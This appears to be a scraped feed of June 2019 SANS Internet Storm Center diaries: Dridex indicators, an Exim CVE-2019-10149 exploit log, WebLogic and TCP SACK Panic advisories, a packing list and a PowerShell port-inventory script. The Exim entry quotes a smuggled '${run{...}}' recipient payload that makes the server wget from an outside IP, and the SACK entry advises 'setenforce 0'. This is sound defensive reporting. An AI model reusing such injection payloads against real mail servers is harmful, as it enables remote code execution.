  • File size: 675,840 bytes
  • File location: C:\Users\[username]\AppData\Roaming\OsiiC9\XmlLite.dll
  • File description: Dridex 64-bit DLL malware loaded by legitimate Microsoft file webengine.exe
  • NOTE: This file path, name, and hash changes every time the victim logs into the infected Windows host.

SHA256 hash: 5cfda27455d0b6bce9cf295bd56357db4595edd50aa4296cd5838335557eae6c

  • File size: 675,840 bytes
  • File location: C:\Windows\system32\dMHo\OLEACC.dll
  • File description: Dridex 64-bit DLL malware loaded by legitimate Microsoft file sethc.exe
  • NOTE: This file path, name, and hash changes every time the victim logs into the infected Windows host.

Final words

An example of the malspam, a pcap of the infection traffic, and the associated malware/artifacts can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Wednesday, June 19th 2019 https://isc.sans.edu/podcastdetail.html?id=6546, (Wed, Jun 19th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Quick Detect: Exim "Return of the Wizard" Attack, (Wed, Jun 19th)

$
0
0

Thanks to our reader Alex for sharing some of his mail logs with the latest attempts to exploit %%CVE:2019-10149%% (aka "Return of the Wizard"). The vulnerability affects Exim and was patched about two weeks ago. There are likely still plenty of vulnerable servers, but it looks like attackers are branching out and are hitting servers not running Exim as well.

A couple of logs from our own mail server (running postfix):

Jun 19 10:47:10 mail postfix/smtp[19006]: A547240360F4: to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f70.91.145.10x22}}@dshield.org>, relay=204.51.94.153[204.51.94.153]:25, delay=0.82, delays=0.29/0.03/0.45/0.05, dsn=5.1.1, status=bounced (host 204.51.94.153[204.51.94.153] said: 550 5.1.1 <root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f70.91.145.10x22}}@dshield.org>: Recipient address rejected: User unknown in virtual alias table (in reply to RCPT TO command))

The exploit is attempting to run the following command:

/bin/sht-ct "wget 64.50.180.45/tmp/70.91.145.10"

Note that the IP at the end of the command is our mail servers public IP address. The URL does no longer appear to exist and belongs to a server running cPanel. 

The beginning of the command may actually be a mistake/typo. I believe the attacker is trying to run sh -ct, which would execute the string (wget..). 

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Critical Actively Exploited WebLogic Flaw Patched CVE-2019-2729, (Wed, Jun 19th)

$
0
0

Oracle today released an out-of-band security update for WebLogic, patching yet another XMLDecoder deserialization vulnerability for WebLogic. The flaw is already actively exploited according to Oracle. Exploitation does not require authentication. Exploitation will allow arbitrary code injection and the CVSS score of the vulnerability is 9.8. The vulnerability is similar to CVE-2019-2725 in that it bypasses protections put in place by Oracle when it patched this vulnerability in April. Oracle has been using a "blacklist" approach in patching these deserialization vulnerabilities, blocking the deserialization of very specific classes, which has led to similar bypass/patch cat and mouse games in the past.

Security Company KnownSec has a few more details about the vulnerability [2] including some mitigation techniques.

CVE-2019-2729 was assigned to the vulnerability and it affects versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0. A patch for WLS 12.2.1.3.x will be released tomorrow.

[1] https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html#AppendixFMW
[2] https://medium.com/@knownsec404team/knownsec-404-team-alert-again-cve-2019-2725-patch-bypassed-32a6a7b7ca15

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

What You Need To Know About TCP "SACK Panic", (Tue, Jun 18th)

$
0
0

Netflix discovered several vulnerabilities in how Linux (and in some cases FreeBSD) are processing the "Selective TCP Acknowledgment (SACK)" option [1]. The most critical of the vulnerabilities can lead to a kernel panic, rendering the system unresponsive. Patching this vulnerability is critical. Once an exploit is released, the vulnerability could be used to shut down exposed servers, or likely clients connecting to malicious services.

Vulnerability Overview
CVE Operating System Affected Description/Impact
%%CVE:2019-11477%% Linux > 2.6.29 SACK processing integer overflow. Leads to kernel panic.
%%CVE:2019-11478%% Linux < 4.14.127 SACK Slowness or Excess Resource Usage
%%CVE:2019-5599%% FreeBSD RACK Send Map SACK Slowness
%%CVE:2019-11479%% Linux (all versions) Excess Resource Consumption Due to Low MSS Values

You are vulnerable if you are using a current Linux system, have selective acknowledgments enabled (a common default) and are using a network card with TCP Segment Offload (again, a common default in modern servers). A patch has been made available. Alternatively, you can disable SACK.

Netflix included patches for the Linux kernel in its advisory. The following Linux kernel versions include the patch: 4.4.182, 4.9.182, 4.14.127, 4.19.52, 5.1.11.

What is SACK?

Each host connected to a network can send packets of a specific maximum size ("MTU"). This size depends on the network technology used, and for Ethernet, a typical size is 1500 bytes. But it can be as large as 9,000 for Ethernet. Some of this space is used for headers. With a standard 20 byte IP header, and a 20 byte TCP header, TCP packets usually can hold up to 1,460 bytes of data (the "Maximum Segment Size"). TCP will break down a data stream into segments that are small enough not to exceed this size, and hosts will communicate their respective maximum segment size to each other to reduce the chance of fragmentation.

To order packets in a TCP connection, each byte transmitted is assigned a sequence number, and the TCP header will list the sequence number of the first byte contained in the packet. A receiver will acknowledge which sequence number it received by communicating the next sequence number it expects.

Only acknowledging complete segments leads to a bit of inefficiency. A receiver can not communicate to a sender that it already received some out of order data. Instead, it will continue to acknowledge the last complete set of segments it has received.

To avoid this inefficiency, SACK was introduced. It allows receivers to notify the sender that it has received an out of order segment. "I received everything up to sequence number 10, and expect 11 next, but I also received 20-30". This way, the sender knows to resend only 11-19 and to continue with 31 next.

What is TCP Segment Offload?

TCP Segment Offload is a feature included in most current network cards. To reduce the work CPUs have to do to buffer and reassemble TCP segments, network cards will take care of some of the TCP processing. In this case, the operating system will receive large "packets" exceeding the MTU of the network.

What is TCP "SACK Panic"

Operating systems need to store data until it is transmitted (and acknowledged) or received. Linux uses a data structure referred to as "Socket Buffer" to do so. In Linux, this socket buffer can hold up to 17 segments. As packets are sent and acknowledged, data is removed from the structure, or some of the data may be consolidated. Moving the data can, in some cases, lead to more than 17 segments stored, which in turn, leads to a kernel panic.

What can I do to prevent this?

1. Disable SACK in Linux

You may temporarily disable SACK without a reboot. As root run:

setenforce 0
echo 0 >  /proc/sys/net/ipv4/tcp_sack

The first line is only necessary if you are using SELinux as it may block the second statement.

To make this change permanent, add the following to /etc/sysctl.conf (or probably cleaner as a new file in /etc/sysctl.d ):

net.ipv4.tcp_sack = 0
net.ipv4.tcp_dsack = 0
net.ipv4.tcp_fack = 0

Run "sysctl -p" to apply the changes without a reboot (and again, you may need to disable SELinux).

2. Firewall Rules

The exploit requires very small maximum segment size settings. You can block packets advertising a small MSS in iptables:

iptables -t mangle -A PREROUTING -p tcp -m conntrack --ctstate NEW -m tcpmss ! --mss 536:65535 -j DROP

Per RFC 879, TCP requires an MTU of at least 576, leading to a minimum MSS of 536. 

How do I know I am vulnerable

3. Finding Vulnerable Systems

There is no easy scanning tool available to find vulnerable systems. So far, there is also no PoC exploit available that could be used to find vulnerable systems. As a quick test, you can look for systems supporting SACK (and running Linux). The following tcpdump command may help:

tcpdump -i eth0 -n 'ip[8]<65 and tcp[13]&0x2f=2'  | grep 'sackOK'

This command will help identify systems with either the SYN or SYN-ACK flags set with a TTL of less than 65 (to help limit this to Linux systems). There is no simple filter for the SackOK option as it may appear in different positions, so I cheated a bit with the "grep."

You can use the "ethtool" command on Linux to see if TCP offloading is enabled (ethtool -k interface_name). [thanks to Alan for pointing this out via twitter).

Vendor Statements / Patches

Redhat: https://access.redhat.com/security/vulnerabilities/tcpsack
Ubuntu: https://usn.ubuntu.com/4017-1/
Debian: https://www.debian.org/security/2019/dsa-4465
SUSE: https://www.suse.com/de-de/support/kb/doc/?id=7023928
Cloudflare: https://twitter.com/jgrahamc/status/1140724787242819585
Amazon: https://aws.amazon.com/security/security-bulletins/AWS-2019-005/

[1] https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md

 

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Thursday, June 20th 2019 https://isc.sans.edu/podcastdetail.html?id=6548, (Thu, Jun 20th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Using a Travel Packing App for Infosec Purpose, (Thu, Jun 20th)

$
0
0

My today's diary will not be technical but could help you to better organize your next travel. This week, like many SANS ISC Handlers, I'm in Washington DC to attend SANSFIRE[1]. Based on our daily jobs, we have to travel quite often and, in my case, I’m always afraid to forget something important when I’m packing to visit a customer or to attend a security conference. When I'm attending a security conference, I’m always carrying a lot of electronics gadgets and stuff to be sure to be (safely) connected once in my hotel room: portable firewall, cables, adapters, etc. When you need to visit a customer for a specific mission, it’s even more important to not forget a device or piece of software to perform your tasks in good conditions. 

I’m using a travel packing apps to organize my travels. Based on the destination (country, climate, the period of the year) and duration (number of t-shirts, underwear, …), it generates a list of stuff to bring with you. Usually, this kind of applications has a pre-built list for holidays, business trips, sports activities etc.

I'm not promoting any application, I just bought the "pro" version of PackPoint (for a few $). This version allows to create custom packing lists. I created some based on my business tasks:

  • Incident Handling
  • Pentesting
  • Infosec conference

Let’s take the incident handling list as an example. You must be sure to bring everything with you to work in an efficient way. From a technical point of view: have the right tools, enough storage, licences. But also from an administrative point of view: on-site contacts, authorizations, documents, etc. Here is an example of a list of stuff to bring with you:

  • Contact information for people inside and outside the organizations.
  • Mobile phone and spare batteries
  • Camera
  • SIMM cards with data subscription
  • Powerful laptop(s) with enough CPU/RAM/storage
  • External performant storage (SSD/USB-3)
  • Portable hypervisor (like an Intel Nuc)
  • Raspberry Pi
  • Software (on CD/DVD, USB)
  • Network tap
  • Switch/cables/adapters
  • HD Write blocker
  • Blank media (USB, DVD/CD
  • Notebooks / pens
  • Tools (screwdrivers, cutters, tape)
  • Console cable (USB2Serial)
  • Forms (for evidence list and chain of custody)
  • Plastic bags
  • Live CDs
  • Food, water, jacket, sweet, spare t-shirt, deodorant (remember the "3-2-1 rule": 3 hours of sleep, 2 meals, 1 shower

With the help of this kind of app, you are able to keep your packing list up to date and not miss important stuff when you need to leave in emergency!

If you are attending SANSFIRE, come to say hello, handlers are easy to find, we usually have our "black shirts"! 

[1] https://www.sans.org/event/sansfire-2019

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Netstat Local and Remote -new and improved, now with more PowerShell!, (Fri, Jun 21st)

$
0
0

Hi again, time for more Powershell!

This all started with me troubleshooting on a customer's server, and cursing Microsoft's decision to spread the output of "netstat -naob" across two lines.  Likely they made that decision out of spite - you know, just so I can't grep the information that I actually need out of it.

Which got me to thinking about doing this in Powershell.  It'll be easy I thought, just slam together the output of:

Get-Process
Get-NetTCPConnection
Get-NetUDPEndpoint

Join them up into one list, and dump the output right?

Hmm... except that to do a Get-Process with the associated account info (the -IncludeUserName option), you need elevated rights.  So that means I need a check for that.  And wait, the fields don't *exactly* match up, and the Get-NetUDPEndpoint doesn't actually spell out what's listening, we need to stuff that into the field ...  OK, it did get a bit complicated once I got into it.  The final script for both TCP and UDP is below.  Note that you'll only get the account info if you run it with admin rights:

$Processes = @{}

# first check if we're running elevated or not, so we don't error out on the Get-Process command
# note that account info is only retrieved if we are elevated

if ((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
    {
        # Elevated - get account info per process
        Get-Process -IncludeUserName | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
else
    {
        # Not Elevated - don't collect per-process account info
        Get-Process  | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
 
# Query Listening TCP Ports and Connections
$Ports = Get-NetTCPConnection |
        Select-Object LocalAddress,
        RemoteAddress,
        @{Name="Proto";Expression={"TCP"}},
        LocalPort,RemotePort,State,
        @{Name="PID"; Expression={ $_.OwningProcess }},
        @{Name="UserName"; Expression={ $Processes[[int]$_.OwningProcess].UserName }},
        @{Name="ProcessName"; Expression={ $Processes[[int]$_.OwningProcess].ProcessName }},
        @{Name="Path"; Expression={ $Processes[[int]$_.OwningProcess].Path }} |
        Sort-Object -Property LocalPort, UserName

# Query Listening UDP Ports (No Connections in UDP)
$UDPPorts += Get-NetUDPEndpoint |
        Select-Object LocalAddress,RemoteAddress,
        @{Name="Proto";Expression={"UDP"}},
        LocalPort,RemotePort,State,
        @{Name="PID"; Expression={ $_.OwningProcess}},
        @{Name="UserName"; Expression={ $Processes[[int]$_.OwningProcess].UserName}},
        @{Name="ProcessName"; Expression={ $Processes[[int]$_.OwningProcess].ProcessName}},
        @{Name="Path"; Expression={ $Processes[[int]$_.OwningProcess].Path}} |
        Sort-Object -Property LocalPort, UserName
foreach ($P in $UDPPorts) {
    if( $P.LocalAddress -eq "0.0.0.0") {$P.State = "Listen"} }

$Ports += $UDPPorts

$Ports | ft

PS C:\> $Ports | ft

LocalAddress                 RemoteAddress   Proto LocalPort RemotePort       State   PID UserName                     ProcessName              Path                                                                                
------------                 -------------   ----- --------- ----------       -----   --- --------                     -----------              ----                                                                                
0.0.0.0                      0.0.0.0         TCP         135          0      Listen    72 NT AUTHORITY\NETWORK SERVICE svchost                  C:\WINDOWS\system32\svchost.exe                                                     
::                           ::              TCP         135          0      Listen    72 NT AUTHORITY\NETWORK SERVICE svchost                  C:\WINDOWS\system32\svchost.exe                                                     
172.23.8.171                 0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
192.168.142.1                0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
169.254.98.213               0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
192.168.254.1                0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
::                           ::              TCP         445          0      Listen     4                              System                                                                                                       
0.0.0.0                      0.0.0.0         TCP         902          0      Listen  5456 NT AUTHORITY\SYSTEM          vmware-authd             C:\Program Files (x86)\VMware\VMware Workstation\vmware-authd.exe                   
0.0.0.0                      0.0.0.0         TCP         912          0      Listen  5456 NT AUTHORITY\SYSTEM          vmware-authd             C:\Program Files (x86)\VMware\VMware Workstation\vmware-authd.exe  
(and so on)

 

So now, if you want just the listening ports, you can get that with a simple grep:

 

 

PS C:\> $ports | ? State -eq 'Listen' | ft

LocalAddress   RemoteAddress Proto LocalPort RemotePort  State   PID UserName                     ProcessName              Path                                                                                  
------------   ------------- ----- --------- ----------  -----   --- --------                     -----------              ----                                                                                  
0.0.0.0        0.0.0.0       TCP         135          0 Listen    72 NT AUTHORITY\NETWORK SERVICE svchost                  C:\WINDOWS\system32\svchost.exe                                                       
::             ::            TCP         135          0 Listen    72 NT AUTHORITY\NETWORK SERVICE svchost                  C:\WINDOWS\system32\svchost.exe                                                       
169.254.98.213 0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
172.20.10.2    0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
10.50.254.132  0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
192.168.254.1  0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
192.168.142.1  0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
::             ::            TCP         445          0 Listen     4                              System                                                                                                         
0.0.0.0        0.0.0.0       TCP         902          0 Listen  5456 NT AUTHORITY\SYSTEM          vmware-authd             C:\Program Files (x86)\VMware\VMware Workstation\vmware-authd.exe                     
0.0.0.0        0.0.0.0       TCP         912          0 Listen  5456 NT AUTHORITY\SYSTEM          vmware-authd             C:\Program Files (x86)\VMware\VMware Workstation\vmware-authd.exe                     
0.0.0.0        0.0.0.0       TCP        1536          0 Listen   600                              wininit                                                                                                        
::             ::            TCP        1536          0 Listen   600                              wininit                                                                                                        
::             ::            TCP        1537          0 Listen  1268 NT AUTHORITY\SYSTEM          svchost                  C:\WINDOWS\system32\svchost.exe                                                       
0.0.0.0        0.0.0.0       TCP        1537          0 Listen  1268 NT AUTHORITY\SYSTEM          svchost                  C:\WINDOWS\system32\svchost.exe                                                       
0.0.0.0        0.0.0.0       TCP        1538          0 Listen  1840 NT AUTHORITY\LOCAL SERVICE   svchost                  C:\WINDOWS\System32\svchost.exe                                                       
::             ::            TCP        1538          0 Listen  1840 NT AUTHORITY\LOCAL SERVICE   svchost                  C:\WINDOWS\System32\svchost.exe                                                       
::             ::            TCP        1539          0 Listen  3816 NT AUTHORITY\SYSTEM          spoolsv                  C:\WINDOWS\System32\spoolsv.exe                                                       
0.0.0.0        0.0.0.0       TCP        1539          0 Listen  3816 NT AUTHORITY\SYSTEM          spoolsv                  C:\WINDOWS\System32\spoolsv.exe                                                       
0.0.0.0        0.0.0.0       TCP        1545          0 Listen   684                              services                                                                                                       
::             ::            TCP        1545          0 Listen   684                              services                                                                                                       
::             ::            TCP        1546          0 Listen   740 NT AUTHORITY\SYSTEM          lsass                    C:\WINDOWS\system32\lsass.exe                                                         
0.0.0.0        0.0.0.0       TCP        1546          0 Listen   740 NT AUTHORITY\SYSTEM          lsass                    C:\WINDOWS\system32\lsass.exe                                                         
::1            ::            TCP        1670          0 Listen 10476 NT AUTHORITY\SYSTEM          jhi_service              C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
127.0.0.1      0.0.0.0       TCP        4767          0 Listen  4460 NT AUTHORITY\SYSTEM          PanGPS                   C:\Program Files\Palo Alto Networks\GlobalProtect\PanGPS.exe                          
0.0.0.0        0.0.0.0       TCP        5040          0 Listen  2628 NT AUTHORITY\LOCAL SERVICE   svchost                  C:\WINDOWS\system32\svchost.exe                                                       
127.0.0.1      0.0.0.0       TCP        5354          0 Listen  5052 NT AUTHORITY\SYSTEM          mDNSResponder            C:\Program Files\Bonjour\mDNSResponder.exe                                            
::             ::            TCP        5357          0 Listen     4                              System                                                                                                         
127.0.0.1      0.0.0.0       TCP        5939          0 Listen  5252 NT AUTHORITY\SYSTEM          TeamViewer_Service       C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe                              
0.0.0.0        0.0.0.0       TCP        8099          0 Listen  4796 NT AUTHORITY\SYSTEM          SolarWinds TFTP Server   C:\Program Files (x86)\SolarWinds\TFTP Server\SolarWinds TFTP Server.exe              
127.0.0.1      0.0.0.0       TCP       44430          0 Listen  4384 NT AUTHORITY\SYSTEM          FoxitConnectedPDFService C:\PROGRAM FILES (X86)\FOXIT SOFTWARE\FOXIT READER\FoxitConnectedPDFService.exe       
127.0.0.1      0.0.0.0       TCP       62522          0 Listen  2304 NT AUTHORITY\SYSTEM          vpnagent                 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnagent.exe     
0.0.0.0                      UDP          69            Listen  4796 NT AUTHORITY\SYSTEM          SolarWinds TFTP Server   C:\Program Files (x86)\SolarWinds\TFTP Server\SolarWinds TFTP Server.exe              
0.0.0.0                      UDP        3702            Listen  4640 NT AUTHORITY\LOCAL SERVICE   dasHost                  C:\WINDOWS\system32\dashost.exe                                                       
0.0.0.0                      UDP        5353            Listen  2276 NT AUTHORITY\NETWORK SERVICE svchost                  C:\WINDOWS\system32\svchost.exe                                                       
0.0.0.0                      UDP        5355            Listen  2276 NT AUTHORITY\NETWORK SERVICE svchost                  C:\WINDOWS\system32\svchost.exe                                                       
0.0.0.0                      UDP        6096            Listen  6388 NT AUTHORITY\SYSTEM          FortiESNAC               C:\Program Files (x86)\Fortinet\FortiClient\FortiESNAC.exe                            
0.0.0.0                      UDP       51498            Listen  5252 NT AUTHORITY\SYSTEM          TeamViewer_Service       C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe                              
0.0.0.0                      UDP       52326            Listen  8568 NT AUTHORITY\LOCAL SERVICE   svchost                  C:\WINDOWS\system32\svchost.exe                                                       
0.0.0.0                      UDP       52410            Listen  2304 NT AUTHORITY\SYSTEM          vpnagent                 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnagent.exe     
0.0.0.0                      UDP       58385            Listen  5052 NT AUTHORITY\SYSTEM          mDNSResponder            C:\Program Files\Bonjour\mDNSResponder.exe                                            
0.0.0.0                      UDP       59622            Listen     4                              System                                                                                                         
0.0.0.0                      UDP       59623            Listen     4                              System                                                                                                         
0.0.0.0                      UDP       60966            Listen  1276 DESKTOP-CPHGM1I\rvlab01      mstsc                    C:\WINDOWS\system32\mstsc.exe                                                         
0.0.0.0                      UDP       60967            Listen  1276 DESKTOP-CPHGM1I\rvlab01      mstsc                    C:\WINDOWS\system32\mstsc.exe                                                         
0.0.0.0                      UDP       62741            Listen  5268 NT AUTHORITY\SYSTEM          vmnat                    C:\WINDOWS\SysWOW64\vmnat.exe                                                         
0.0.0.0                      UDP       63327            Listen  4640 NT AUTHORITY\LOCAL SERVICE   dasHost                  C:\WINDOWS\system32\dashost.exe                                                       
0.0.0.0                      UDP       63448            Listen     4                              System                                                                                                         
0.0.0.0                      UDP       63449            Listen     4                              System   
                  

 

With that done, I got to thinking - what about running this across an entire domain, and then look for "outliers" - listening ports that only 1 or 2 hosts have open??  What would that look like?

GetProcess has a -ComputerName option, so we're good there.
Get-NetTCPConnection doesn't have a -ComputerName option, but it does have a -RemoteAddress option
However .. Get-NetUDPEndpoint has neither - local execution only (insert sad panda face here)

I guess we'll need to do this all remotely then - we'll make the whole script so far into a function, then call it using invoke-command for all stations in a domain - like this:

function PSNetstat {
$Processes = @{}

if ((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
    {
        # Elevated - get account info per process
        Get-Process -IncludeUserName | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
else
    {
        # Not Elevated - don't collect per-process account info
        Get-Process  | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
 
# Query Listening TCP Ports and Connections
$Ports = Get-NetTCPConnection |
        Select-Object LocalAddress,
        RemoteAddress,
        @{Name="Proto";Expression={"TCP"}},
        LocalPort,RemotePort,State,
        @{Name="PID"; Expression={ $_.OwningProcess }},
        @{Name="UserName"; Expression={ $Processes[[int]$_.OwningProcess].UserName }},
        @{Name="ProcessName"; Expression={ $Processes[[int]$_.OwningProcess].ProcessName }},
        @{Name="Path"; Expression={ $Processes[[int]$_.OwningProcess].Path }} |
        Sort-Object -Property LocalPort, UserName

# Query Listening UDP Ports (No Connections in UDP)
$UDPPorts = Get-NetUDPEndpoint |
        Select-Object LocalAddress,RemoteAddress,
        @{Name="Proto";Expression={"UDP"}},
        LocalPort,RemotePort,State,
        @{Name="PID"; Expression={ $_.OwningProcess}},
        @{Name="UserName"; Expression={ $Processes[[int]$_.OwningProcess].UserName}},
        @{Name="ProcessName"; Expression={ $Processes[[int]$_.OwningProcess].ProcessName}},
        @{Name="Path"; Expression={ $Processes[[int]$_.OwningProcess].Path}} |
        Sort-Object -Property LocalPort, UserName
foreach ($P in $UDPPorts) {
    if( $P.LocalAddress -eq "0.0.0.0") {$P.State = "Listen"} }

$Ports += $UDPPorts
$Ports
}


$targets =get-adcomputer -filter * -Property DNSHostName
$portlist = @()
$i = 1
$count = $targets.count

foreach ($targethost in $targets) {
   write-host $i of $count -  $targethost.DNSHostName
   if (Test-Connection -ComputerName $targethost.DNSHostName -count 2 -Quiet) {
       $portlist += invoke-command -ComputerName $targethost ${function:PSNetStat}
       ++$i
       }
   }
$portlist | export-csv all-ports.csv

Now you have all TCP and UDP ports, in all states in one giant CSV.  If you want, you can pull out the just listening ports using the "grep" method we used earlier, and you can mix-and-match it any way you please in either PowerShell or in Excel (we dumped it all into a CSV at the end).

Use our comment form if you run this and find anything odd in your network, we're always interested in "odd"

===============
Rob VandenBrink
www.coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Viewing all 8335 articles
Browse latest View live